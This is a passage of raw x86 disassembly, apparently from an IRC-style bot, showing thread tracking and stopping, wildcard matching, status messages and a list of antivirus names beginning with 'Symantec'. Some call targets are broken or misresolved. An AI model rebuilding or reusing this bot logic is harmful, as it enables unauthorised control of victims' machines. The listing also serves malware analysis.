ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317A4 push eax xor ebx, ebx call sub_41B886 cmp dword_431408, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431410 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431798 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317C4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_43180C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431858 push eax call sub_41B886 cmp dword_431408, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431848 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431408, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431408 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318A8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431874 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi ; --------------------------------------------------------------------------- dd 2C45ABE8h db 2, 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_4318F8 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318D8 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431414[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx call near ptr 2660000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx nop call near ptr 2670096h mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h nop call near ptr 2670000h jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j call near ptr 26709C5h nop push eax lea eax, [ebp+var_204] push offset unk_431A18 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx nop call near ptr 2660000h push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx nop call near ptr 2670096h mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h nop call near ptr 2670000h jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 26709C5h push eax lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43141C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx call near ptr 2670096h nop mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h nop call near ptr 2670000h jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 26709C5h push eax lea eax, [ebp+var_204] push offset unk_431948 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431418[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx call near ptr 2660000h nop push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx call near ptr 2670096h nop mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h call near ptr 2670000h nop jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 26709C5h push eax lea eax, [ebp+var_204] push offset unk_431914 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAE9C inc eax push eax mov [ebp+arg_0], eax call dword_4CAF70 mov [ebp+arg_0], eax lea eax, 